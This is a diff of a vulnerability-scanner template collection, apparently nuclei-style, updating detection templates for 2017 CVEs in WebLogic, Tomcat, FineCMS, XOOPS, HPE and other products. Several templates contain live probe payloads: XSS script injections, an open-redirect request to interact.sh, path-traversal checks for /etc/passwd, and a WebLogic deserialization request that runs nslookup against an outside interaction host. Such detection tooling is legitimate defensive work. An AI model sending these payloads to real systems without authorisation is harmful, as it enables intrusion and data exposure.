CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-1000029 cwe-id: CWE-200 @@ -29,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-1000170.yaml b/cves/2017/CVE-2017-1000170.yaml index 2469274848..fe5f26d393 100644 --- a/cves/2017/CVE-2017-1000170.yaml +++ b/cves/2017/CVE-2017-1000170.yaml @@ -1,18 +1,21 @@ id: CVE-2017-1000170 info: - name: WordPress Plugin Delightful Downloads Jquery File Tree 2.1.5 Path Traversal + name: WordPress Delightful Downloads Jquery File Tree 2.1.5 - Local File Inclusion author: dwisiswant0 severity: high - description: jqueryFileTree 2.1.5 and older Directory Traversal + description: WordPress Delightful Downloads Jquery File Tree versions 2.1.5 and older are susceptible to local file inclusion vulnerabilities via jqueryFileTree. reference: - https://www.exploit-db.com/exploits/49693 + - https://github.com/jqueryfiletree/jqueryfiletree/issues/66 + - http://packetstormsecurity.com/files/161900/WordPress-Delightful-Downloads-Jquery-File-Tree-1.6.6-Path-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2017-1000170 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-1000170 cwe-id: CWE-22 - tags: cve,cve2017,wordpress,wp-plugin,lfi,jquery + tags: cve,cve2017,wordpress,wp-plugin,lfi,jquery,edb,packetstorm requests: - method: POST @@ -30,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-1000486.yaml b/cves/2017/CVE-2017-1000486.yaml index 703697b544..091a2595c1 100644 --- a/cves/2017/CVE-2017-1000486.yaml +++ b/cves/2017/CVE-2017-1000486.yaml @@ -15,7 +15,7 @@ info: cvss-score: 9.8 cve-id: CVE-2017-1000486 cwe-id: CWE-326 - tags: cve,cve2017,primetek,rce,injection + tags: cve,cve2017,primetek,rce,injection,kev requests: - raw: diff --git a/cves/2017/CVE-2017-10075.yaml b/cves/2017/CVE-2017-10075.yaml index c7c5da7c14..d5bc0d6f77 100644 --- a/cves/2017/CVE-2017-10075.yaml +++ b/cves/2017/CVE-2017-10075.yaml @@ -8,6 +8,7 @@ info: reference: - http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html - https://nvd.nist.gov/vuln/detail/CVE-2017-10075 + - http://web.archive.org/web/20211206074610/https://securitytracker.com/id/1038940 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N cvss-score: 8.2 diff --git a/cves/2017/CVE-2017-10271.yaml b/cves/2017/CVE-2017-10271.yaml index af77696479..dd344c5421 100644 --- a/cves/2017/CVE-2017-10271.yaml +++ b/cves/2017/CVE-2017-10271.yaml @@ -1,20 +1,21 @@ id: CVE-2017-10271 info: - name: Oracle Fusion Middleware WebLogic Server - Remote Command Execution - author: dr_set + name: Oracle WebLogic Server - Remote Command Execution + author: dr_set,ImNightmaree severity: high - description: The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to component deserialization remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Unauthenticated attackers with network access via T3 can leverage this vulnerability to compromise Oracle WebLogic Server. + description: | + The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server. reference: - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271 - https://github.com/SuperHacker-liuan/cve-2017-10271-poc - - https://www.oracle.com/security-alerts/cpuoct2017.html + - http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html - https://nvd.nist.gov/vuln/detail/CVE-2017-10271 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H cvss-score: 7.5 cve-id: CVE-2017-10271 - tags: cve,cve2017,rce,oracle,weblogic,oast + tags: weblogic,oast,kev,vulhub,cve,cve2017,rce,oracle requests: - raw: @@ -41,7 +42,7 @@ requests: -c - nslookup {{interactsh-url}} + interact.sh @@ -51,15 +52,47 @@ requests: - matchers-condition: and + - | + POST /wls-wsat/CoordinatorPortType HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Accept-Language: en + Content-Type: text/xml + + + + + + + + + + + + + {{randstr}} + + + + + + + + + + stop-at-first-match: true + matchers-condition: or matchers: - - type: word - part: interactsh_protocol # Confirms the DNS interaction - words: - - "dns" + - type: dsl + dsl: + - regex(".*", body) + - status_code == 500 + condition: and - - type: status - status: - - 500 + - type: dsl + dsl: + - body == "{{randstr}}" + - status_code == 200 + condition: and -# Enhanced by mp on 2022/04/20 +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-10974.yaml b/cves/2017/CVE-2017-10974.yaml index 1bef1f633f..52ff2715d0 100644 --- a/cves/2017/CVE-2017-10974.yaml +++ b/cves/2017/CVE-2017-10974.yaml @@ -1,19 +1,21 @@ id: CVE-2017-10974 info: - name: Yaws 1.91 - Remote File Disclosure + name: Yaws 1.91 - Local File Inclusion author: 0x_Akoko severity: high - description: Yaws 1.91 allows Unauthenticated Remote File Disclosure via HTTP Directory Traversal with /%5C../ to port 8080 + description: Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080. reference: - https://www.exploit-db.com/exploits/42303 - https://nvd.nist.gov/vuln/detail/CVE-2017-10974 + - http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt + - https://www.exploit-db.com/exploits/42303/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-10974 cwe-id: CWE-22 - tags: cve,cve2017,yaws,lfi + tags: edb,cve,cve2017,yaws,lfi requests: - method: GET @@ -32,4 +34,6 @@ requests: - type: dsl dsl: - - '!contains(tolower(body), "" - "" condition: and + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-11629.yaml b/cves/2017/CVE-2017-11629.yaml new file mode 100644 index 0000000000..5cb529d6b9 --- /dev/null +++ b/cves/2017/CVE-2017-11629.yaml @@ -0,0 +1,43 @@ +id: CVE-2017-11629 + +info: + name: FineCMS <=5.0.10 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request. + reference: + - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse + - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#api-php-Reflected-XSS + - https://nvd.nist.gov/vuln/detail/CVE-2017-11629/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2017-11629 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2017,xss,finecms + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'pไธๅญ˜ๅœจ' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/31 diff --git a/cves/2017/CVE-2017-12138.yaml b/cves/2017/CVE-2017-12138.yaml new file mode 100644 index 0000000000..2931b0c317 --- /dev/null +++ b/cves/2017/CVE-2017-12138.yaml @@ -0,0 +1,37 @@ +id: CVE-2017-12138 + +info: + name: XOOPS Core 2.5.8 - Open Redirect + author: 0x_Akoko + severity: medium + description: XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter. + reference: + - https://github.com/XOOPS/XoopsCore25/issues/523 + - https://xoops.org + - https://www.cvedetails.com/cve/CVE-2017-12138 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2017-12138 + cwe-id: CWE-601 + tags: cve,cve2017,redirect,xoops,authenticated + +requests: + - raw: + - | + POST /user.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + uname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login + + - | + GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/cves/2017/CVE-2017-12149.yaml b/cves/2017/CVE-2017-12149.yaml index 01f2e0f6f9..a9cd3220db 100644 --- a/cves/2017/CVE-2017-12149.yaml +++ b/cves/2017/CVE-2017-12149.yaml @@ -4,17 +4,18 @@ info: name: Jboss Application Server - Remote Code Execution author: fopina severity: critical - description: "Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data." + description: Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data. reference: - https://chowdera.com/2020/12/20201229190934023w.html - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149 - https://nvd.nist.gov/vuln/detail/CVE-2017-12149 + - https://bugzilla.redhat.com/show_bug.cgi?id=1486220 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-12149 cwe-id: CWE-502 - tags: cve,cve2017,jboss,java,rce,deserialization + tags: java,rce,deserialization,kev,vulhub,cve,cve2017,jboss requests: - raw: diff --git a/cves/2017/CVE-2017-12542.yaml b/cves/2017/CVE-2017-12542.yaml index e177b04912..22e1e6690d 100644 --- a/cves/2017/CVE-2017-12542.yaml +++ b/cves/2017/CVE-2017-12542.yaml @@ -8,11 +8,13 @@ info: reference: - https://www.exploit-db.com/exploits/44005 - https://nvd.nist.gov/vuln/detail/CVE-2017-12542 + - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us + - https://www.exploit-db.com/exploits/44005/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 + cvss-score: 10 cve-id: CVE-2017-12542 - tags: cve,cve2017,ilo4,hpe,auth-bypass + tags: ilo4,hpe,auth-bypass,edb,cve,cve2017 requests: - method: GET diff --git a/cves/2017/CVE-2017-12544.yaml b/cves/2017/CVE-2017-12544.yaml index 33051417f0..f6ca7ef1ca 100644 --- a/cves/2017/CVE-2017-12544.yaml +++ b/cves/2017/CVE-2017-12544.yaml @@ -1,37 +1,40 @@ -id: CVE-2017-12544 +id: CVE-2017-12544 -info: - name: HPE System Management - XSS - author: divya_mudgal - severity: medium - description: Reflected Cross-site scripting (XSS) on HPE System Management - reference: - - https://seclists.org/fulldisclosure/2018/Mar/5 - - https://nvd.nist.gov/vuln/detail/CVE-2017-12544 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2017-12544 - cwe-id: CWE-79 - tags: cve,cve2017,xss,hp +info: + name: HPE System Management - Cross-Site Scripting + author: divya_mudgal + severity: medium + description: HPE System Management contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + reference: + - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbmu03753en_us + - http://web.archive.org/web/20211206092413/https://securitytracker.com/id/1039437 + - https://nvd.nist.gov/vuln/detail/CVE-2017-12544 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2017-12544 + cwe-id: CWE-79 + tags: cve,cve2017,xss,hp -requests: - - method: GET - path: - - "{{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//" - - matchers-condition: and - matchers: - - type: word - words: - - "var prodName = '';prompt`document.domain`;//';" - part: body - - - type: word - words: - - "text/html" - part: header - - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//" + + matchers-condition: and + matchers: + - type: word + words: + - "var prodName = '';prompt`document.domain`;//';" + part: body + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-12583.yaml b/cves/2017/CVE-2017-12583.yaml index 3fcc19e269..4d088e27f0 100644 --- a/cves/2017/CVE-2017-12583.yaml +++ b/cves/2017/CVE-2017-12583.yaml @@ -1,12 +1,13 @@ id: CVE-2017-12583 info: - name: Reflected XSS in doku.php + name: DokuWiki - Cross-Site Scripting author: DhiyaneshDK severity: medium - description: DokuWiki through 2017-02-19b has XSS in the at parameter (aka the DATE_AT variable) to doku.php. + description: DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://github.com/splitbrain/dokuwiki/issues/2061 + - https://nvd.nist.gov/vuln/detail/CVE-2017-12583 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 @@ -36,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-12611.yaml b/cves/2017/CVE-2017-12611.yaml index 97c997a6bd..39a22529cf 100644 --- a/cves/2017/CVE-2017-12611.yaml +++ b/cves/2017/CVE-2017-12611.yaml @@ -8,6 +8,7 @@ info: reference: - https://struts.apache.org/docs/s2-053.html - https://nvd.nist.gov/vuln/detail/CVE-2017-12611 + - https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 diff --git a/cves/2017/CVE-2017-12615.yaml b/cves/2017/CVE-2017-12615.yaml index c95a8798bb..ad6f801c1f 100644 --- a/cves/2017/CVE-2017-12615.yaml +++ b/cves/2017/CVE-2017-12615.yaml @@ -1,22 +1,25 @@ id: CVE-2017-12615 info: - name: Apache Tomcat RCE + name: Apache Tomcat Servers - Remote Code Execution author: pikpikcu severity: high description: | - By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers. - This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. - However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79} - Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request. + Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request. reference: - https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615 + - https://lists.apache.org/thread.html/8fcb1e2d5895413abcf266f011b9918ae03e0b7daceb118ffbf23f8c@%3Cannounce.tomcat.apache.org%3E + - http://web.archive.org/web/20211206035549/https://securitytracker.com/id/1039392 + - https://nvd.nist.gov/vuln/detail/CVE-2017-12615 + - http://web.archive.org/web/20210616200000/https://www.securityfocus.com/bid/100901 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2017-12615 cwe-id: CWE-434 - tags: cve,cve2017,apache,rce,tomcat + metadata: + shodan-query: title:"Apache Tomcat" + tags: rce,tomcat,kev,cisa,vulhub,cve,cve2017,apache,fileupload requests: - method: PUT @@ -54,3 +57,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-12629.yaml b/cves/2017/CVE-2017-12629.yaml index d82f48e3e5..bab23dc8e6 100644 --- a/cves/2017/CVE-2017-12629.yaml +++ b/cves/2017/CVE-2017-12629.yaml @@ -4,7 +4,7 @@ info: name: Apache Solr <= 7.1 - XML Entity Injection author: dwisiswant0 severity: critical - description: "Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr." + description: Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr. reference: - https://twitter.com/honoki/status/1298636315613974532 - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE @@ -15,7 +15,7 @@ info: cvss-score: 9.8 cve-id: CVE-2017-12629 cwe-id: CWE-611 - tags: cve,cve2017,solr,apache,oast,xxe + tags: oast,xxe,vulhub,cve,cve2017,solr,apache requests: - raw: diff --git a/cves/2017/CVE-2017-12635.yaml b/cves/2017/CVE-2017-12635.yaml index 1464250a41..b13092717d 100644 --- a/cves/2017/CVE-2017-12635.yaml +++ b/cves/2017/CVE-2017-12635.yaml @@ -4,9 +4,12 @@ info: name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation author: pikpikcu severity: critical - description: "Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges." + description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges. reference: - https://nvd.nist.gov/vuln/detail/CVE-2017-12635 + - https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E + - http://web.archive.org/web/20210414010253/https://www.securityfocus.com/bid/101868 + - https://security.gentoo.org/glsa/201711-16 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 diff --git a/cves/2017/CVE-2017-12637.yaml b/cves/2017/CVE-2017-12637.yaml index 7819d5721c..b604037e5a 100644 --- a/cves/2017/CVE-2017-12637.yaml +++ b/cves/2017/CVE-2017-12637.yaml @@ -1,19 +1,21 @@ id: CVE-2017-12637 info: - name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5 + name: SAP NetWeaver Application Server Java 7.5 - Local File Inclusion author: apt-mirror severity: high - description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657. + description: SAP NetWeaver Application Server Java 7.5 is susceptible to local file inclusion in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657. reference: - - https://www.cvedetails.com/cve/CVE-2017-12637/ - - https://nvd.nist.gov/vuln/detail/CVE-2017-12637 - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf + - http://www.sh0w.top/index.php/archives/7/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-12637 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-12637 cwe-id: CWE-22 + metadata: + shodan-query: http.favicon.hash:-266008933 tags: cve,cve2017,sap,lfi,java,traversal requests: @@ -31,3 +33,5 @@ requests: - "META-INF" condition: and part: body + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-12794.yaml b/cves/2017/CVE-2017-12794.yaml index 206aa791ce..4e18ff6124 100644 --- a/cves/2017/CVE-2017-12794.yaml +++ b/cves/2017/CVE-2017-12794.yaml @@ -9,6 +9,8 @@ info: reference: - https://twitter.com/sec715/status/1406779605055270914 - https://nvd.nist.gov/vuln/detail/CVE-2017-12794 + - https://www.djangoproject.com/weblog/2017/sep/05/security-releases/ + - http://web.archive.org/web/20211207172022/https://securitytracker.com/id/1039264 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 diff --git a/cves/2017/CVE-2017-14135.yaml b/cves/2017/CVE-2017-14135.yaml index 5ec4d962b8..7fdc2e846d 100644 --- a/cves/2017/CVE-2017-14135.yaml +++ b/cves/2017/CVE-2017-14135.yaml @@ -4,11 +4,12 @@ info: name: OpenDreambox 2.0.0 - Remote Code Execution author: alph4byt3 severity: critical - description: "OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py." + description: OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py. reference: - https://the-infosec.com/2017/05/12/from-shodan-to-rce-opendreambox-2-0-0-code-execution/ - https://www.exploit-db.com/exploits/42293 - https://nvd.nist.gov/vuln/detail/CVE-2017-14135 + - https://the-infosec.com/2017/07/05/from-shodan-to-rce-opendreambox-2-0-0-code-execution/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 @@ -16,7 +17,7 @@ info: cwe-id: CWE-78 metadata: shodan-query: title:"Dreambox WebControl" - tags: cve,cve2017,dreambox,rce,oast + tags: cve2017,dreambox,rce,oast,edb,cve requests: - raw: diff --git a/cves/2017/CVE-2017-14535.yaml b/cves/2017/CVE-2017-14535.yaml index d10ba2cf19..330df119bb 100644 --- a/cves/2017/CVE-2017-14535.yaml +++ b/cves/2017/CVE-2017-14535.yaml @@ -9,12 +9,13 @@ info: - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/ - https://www.exploit-db.com/exploits/49913 - https://nvd.nist.gov/vuln/detail/CVE-2017-14535 + - https://www.linkedin.com/pulse/trixbox-os-command-injection-vulnerability-sachin-wagh-ceh-ecsa-/?published=t classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2017-14535 cwe-id: CWE-78 - tags: cve,cve2017,trixbox,rce,injection + tags: cve,cve2017,trixbox,rce,injection,edb requests: - raw: diff --git a/cves/2017/CVE-2017-14537.yaml b/cves/2017/CVE-2017-14537.yaml index 780250d419..66f9cfe5ba 100644 --- a/cves/2017/CVE-2017-14537.yaml +++ b/cves/2017/CVE-2017-14537.yaml @@ -4,7 +4,7 @@ info: name: Trixbox 2.8.0 - Path Traversal author: pikpikcu severity: medium - description: "Trixbox 2.8.0.4 is susceptible to path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php." + description: Trixbox 2.8.0.4 is susceptible to path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php. reference: - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/ - https://nvd.nist.gov/vuln/detail/CVE-2017-14537 diff --git a/cves/2017/CVE-2017-14651.yaml b/cves/2017/CVE-2017-14651.yaml index 401d1e3040..c4f88c893d 100644 --- a/cves/2017/CVE-2017-14651.yaml +++ b/cves/2017/CVE-2017-14651.yaml @@ -1,7 +1,7 @@ id: CVE-2017-14651 info: - name: WSO2 Data Analytics Server 3.1.0 - Reflected Cross-Site Scripting + name: WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting author: mass0ma severity: medium description: WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter. diff --git a/cves/2017/CVE-2017-14849.yaml b/cves/2017/CVE-2017-14849.yaml index 87a14fe679..c3af2970c4 100644 --- a/cves/2017/CVE-2017-14849.yaml +++ b/cves/2017/CVE-2017-14849.yaml @@ -1,14 +1,15 @@ id: CVE-2017-14849 info: - name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal + name: Node.js <8.6.0 - Directory Traversal author: Random_Robbie severity: high - description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules. + description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules. reference: - https://twitter.com/nodejs/status/913131152868876288 - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/ - - http://www.securityfocus.com/bid/101056 + - https://nvd.nist.gov/vuln/detail/CVE-2017-14849 + - http://web.archive.org/web/20210423143109/https://www.securityfocus.com/bid/101056 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 @@ -29,3 +30,5 @@ requests: regex: - "root:.*:0:0:" part: body + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-15287.yaml b/cves/2017/CVE-2017-15287.yaml index 144181dec3..916b9a90a9 100644 --- a/cves/2017/CVE-2017-15287.yaml +++ b/cves/2017/CVE-2017-15287.yaml @@ -15,7 +15,7 @@ info: cvss-score: 6.1 cve-id: CVE-2017-15287 cwe-id: CWE-79 - tags: cve,cve2017,xss,dreambox + tags: dreambox,edb,cve,cve2017,xss requests: - raw: diff --git a/cves/2017/CVE-2017-15363.yaml b/cves/2017/CVE-2017-15363.yaml index 1118798c3b..796d80f4f2 100644 --- a/cves/2017/CVE-2017-15363.yaml +++ b/cves/2017/CVE-2017-15363.yaml @@ -1,19 +1,22 @@ id: CVE-2017-15363 info: - name: TYPO3 Restler - Arbitrary File Retrieval + name: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 - Local File Inclusion author: 0x_Akoko severity: high - description: Directory traversal vulnerability in public/examples/resources/getsource.php in Luracast Restler through 3.0.0, as used in the restler extension before 1.7.1 for TYPO3, allows remote attackers to read arbitrary files via the file parameter. + description: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 is susceptible to local file inclusion in public/examples/resources/getsource.php. This could allow remote attackers to read arbitrary files via the file parameter. reference: - https://www.exploit-db.com/exploits/42985 - https://www.cvedetails.com/cve/CVE-2017-15363 + - https://extensions.typo3.org/extension/restler/ + - https://extensions.typo3.org/extension/download/restler/1.7.1/zip/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-15363 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 